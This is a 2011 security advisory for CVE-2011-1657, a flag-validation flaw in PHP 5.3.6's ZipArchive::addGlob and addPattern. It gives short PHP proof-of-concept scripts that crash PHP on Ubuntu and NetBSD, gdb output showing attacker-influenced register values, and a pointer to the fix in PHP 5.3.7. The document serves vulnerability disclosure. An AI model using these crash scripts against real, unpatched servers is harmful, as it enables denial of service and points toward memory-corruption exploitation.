[ PHP 5.3.6 ZipArchive invalid use glob(3) ]
Author: Maksymilian Arciemowicz
http://cxib.net/
Date:
- Dis.: 01.04.2011
- Pub.: 19.08.2011
CVE: CVE-2011-1657
Affected Software (verified):
PHP 5.3.6 and prior
Fixed:
PHP 5.3.7
--- 0.Description ---
PHP is a general-purpose scripting language originally designed for web development to produce dynamic web pages. For this purpose, PHP code is embedded into the HTML source document and interpreted by a web server with a PHP processor module, which generates the web page document. It also has evolved to include a command-line interface capability and can be used in standalone graphical applications.
ZipArchive
This extension enables you to transparently read or write ZIP compressed archives and the files inside them.
--- 1. PHP 5.3.6 ZipArchive invalid use glob(3) ---
Functions like addGlob and addPattern are not described in documentation. Anyway we can call to ZipArchive::addGlob and ZipArchive::addPattern in PHP 5.3.6
http://pl2.php.net/manual/en/class.ziparchive.php
let's see ext/zip/php_zip.c
531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {
...
1629 /* 1 == glob, 2==pcre */
1630 if (type == 1) {
1631 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|la",
1632 &pattern, &pattern_len, &flags, &options) == FAILURE) {
1633 return;
1634 }
1635 } else {
1636 if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|sa",
1637 &pattern, &pattern_len, &path, &path_len, &options) == FAILURE) {
1638 return;
1639 }
1640 }
1641
invalid &flags may provide to crash. To use flags like GLOB_ALTDIRFUNC, we should first declare gl_opendir, gl_closedir, gl_lstat, gl_stat. In PHP we only have
508 glob_t globbuf;
...
530 globbuf.gl_offs = 0;
531 if (0 != (ret = glob(pattern, flags & GLOB_FLAGMASK, NULL, &globbuf))) {
for addglob() there are no GLOB flags validation like in php/glob(). Only flags like GLOB_MARK|GLOB_NOSORT|GLOB_NOCHECK|GLOB_NOESCAPE|GLOB_BRACE|GLOB_ONLYDIR|GLOB_ERR should be allowed:
- GLOB_MARK - Adds a slash to each directory returned
- GLOB_NOSORT - Return files as they appear in the directory (no sorting)
- GLOB_NOCHECK - Return the search pattern if no files matching it were found
- GLOB_NOESCAPE - Backslashes do not quote metacharacters
- GLOB_BRACE - Expands {a,b,c} to match 'a', 'b', or 'c'
- GLOB_ONLYDIR - Return only directory entries which match the pattern
- GLOB_ERR - Stop on read errors (like unreadable directories), by default errors are ignored.
---linux/ubuntu---
cx@cx64:~$ php -v
PHP 5.3.3-1ubuntu9.3 with Suhosin-Patch (cli) (built: Jan 12 2011 16:07:38)
Copyright (c) 1997-2009 The PHP Group
Zend Engine v2.3.0, Copyright (c) 1998-2010 Zend Technologies
cx@cx64:~$ uname -a
Linux cx64 2.6.35-28-generic #49-Ubuntu SMP Tue Mar 1 14:39:03 UTC 2011 x86_64 GNU/Linux
cx@cx64:/www$ cat zip.php
<?php
unlink("empty.zip");
fopen("empty.zip","a");
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("*",333333),0x39);
?>cx@cx64:/www$ php zip.php
Segmentation fault
---linux/ubuntu---
Tested with NetBSD glob(3) implementation (netbsd 5.1 and PHP 5.3.6)
---bsd/netbsd---
unlink("empty.zip"); fopen("empty.zip","a"); $nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("A",1000000),0x39);
Program received signal SIGSEGV, Segmentation fault.
0xbb86bb12 in realloc () from /usr/lib/libc.so.12
(gdb) i r
eax 0x410041 4259905
ecx 0xc 12
edx 0xbfb00000 -1078984704
ebx 0xbb8c81f4 -1148419596
esp 0xbfbfa980 0xbfbfa980
ebp 0xbfbfa9d8 0xbfbfa9d8
esi 0xfc000 1032192
edi 0x0 0
eip 0xbb86bb12 0xbb86bb12 <realloc+118>
(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x410041: Cannot access memory at address 0x410041
---bsd/netbsd---
and now try 'B'
---bsd/netbsd---
unlink("empty.zip");
fopen("empty.zip","a");
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addGlob(str_repeat("B",1000000),0x39);
(gdb) x/i $eip
0xbb86bb12 <realloc+118>: mov 0x8(%eax),%edi
(gdb) x/i $eax
0x420042: Cannot access memory at address 0x420042
---bsd/netbsd---
A we get mov 0x8(%eax),%edi where eax=0x410041
B we get mov 0x8(%eax),%edi where eax=0x420042
and once again for eax=0x0
---bsd/netbsd---
$nx=new ZipArchive();$nx->open("empty.zip");$nx->addGlob("aa",0x39);
Program received signal SIGSEGV, Segmentation fault.
0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
(gdb) bt
#0 0xbb8e2960 in pthread_mutex_lock () from /usr/lib/libpthread.so.0
#1 0xbb86a43a in _malloc_prefork () from /usr/lib/libc.so.12
#2 0xbb86bb9c in realloc () from /usr/lib/libc.so.12
#3 0xbb83610b in __globfree30 () from /usr/lib/libc.so.12
#4 0xbb836cb7 in __globfree30 () from /usr/lib/libc.so.12
#5 0xbb8372d9 in __glob30 () from /usr/lib/libc.so.12
#6 0x083b1fe3 in php_XML_ParserFree ()
#7 0x083b45b7 in php_XML_ParserFree ()
#8 0x083b485f in php_XML_ParserFree ()
#9 0x0846f4b6 in execute ()
#10 0x084703c8 in execute ()
#11 0x0846e42d in execute ()
#12 0x08442b5a in zend_execute_scripts ()
#13 0x083c776b in php_execute_script ()
#14 0x08515c23 in zend_get_zval_ptr_ptr ()
#15 0x08067eb4 in ___start ()
#16 0x08067e17 in _start ()
---bsd/netbsd---
to get other crash point, change 0x39 to 0x40 or use addPattern() with special crafted zip files.
---addPattern()---
$nx=new
ZipArchive();$nx->open("empty.zip");$nx->addPattern(str_repeat("A",1));
0x083b21c4 in php_XML_ParserFree ()
---addPattern()---
--- 2. Fix ---
PHP 5.3.7
http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/zip/php_zip.c?view=log
PR/44959: Henning Petersen: glob forgets to closedir on out of space condition.
http://cvsweb.netbsd.org/bsdweb.cgi/src/lib/libc/gen/glob.c.diff?r1=1.29&r2=1.30&only_with_tag=MAIN&f=h
--- 3. Greets ---
Felipe
--- 4. Contact ---
Author: Maksymilian Arciemowicz